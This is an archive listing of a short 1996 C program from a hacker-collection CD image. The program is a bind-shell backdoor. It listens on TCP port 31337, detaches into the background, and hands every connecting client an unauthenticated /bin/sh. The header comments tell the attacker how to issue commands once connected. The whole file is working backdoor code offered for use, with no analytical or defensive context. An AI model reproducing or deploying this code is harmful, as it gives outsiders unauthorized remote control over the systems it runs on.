home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz KrOnIcKLeZ 3 / HaCKeRz_KrOnIcKLeZ.iso / ircscripts / warirc / socdmini.c < prev    next >
C/C++ Source or Header  |  1996-04-23  |  1KB  |  24 lines

  1. /* quick thingy... bind a shell to a socket... defaults to port 31337 */
  2. /* code by pluvius@io.org                                             */
  3. /* don't forget.. when you connect to the port.. commands are like:   */
  4. /* "ls -l;" or "exit;" (don't forget the ';')                         */
  5. #define PORT 31337
  6. #include <stdio.h>
  7. #include <signal.h>
  8. #include <sys/types.h>
  9. #include <sys/socket.h>
  10. #include <netinet/in.h>
  11. int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
  12. struct sockaddr_in serv_addr; struct sockaddr_in client_addr; 
  13. int main () { soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 
  14. if (soc_des == -1) exit(-1); bzero((char *) &serv_addr, sizeof(serv_addr));
  15. serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
  16. serv_addr.sin_port = htons(PORT); soc_rc = bind(soc_des, (struct sockaddr *) 
  17. &serv_addr, sizeof(serv_addr)); if (soc_rc != 0) exit(-1); if (fork() != 0) 
  18. exit(0); setpgrp(); signal(SIGHUP, SIG_IGN); if (fork() != 0) exit(0); 
  19. soc_rc = listen(soc_des, 5); if (soc_rc != 0) exit(0); while (1) { soc_len = 
  20. sizeof(client_addr); soc_cli = accept(soc_des, (struct sockaddr *) &client_addr,
  21. &soc_len); if (soc_cli < 0) exit(0); cli_pid = getpid(); server_pid = fork();
  22. if (server_pid != 0) { dup2(soc_cli,0); dup2(soc_cli,1); dup2(soc_cli,2);
  23. execl("/bin/sh","sh",(char *)0); close(soc_cli); exit(0); } close(soc_cli);}}
  24.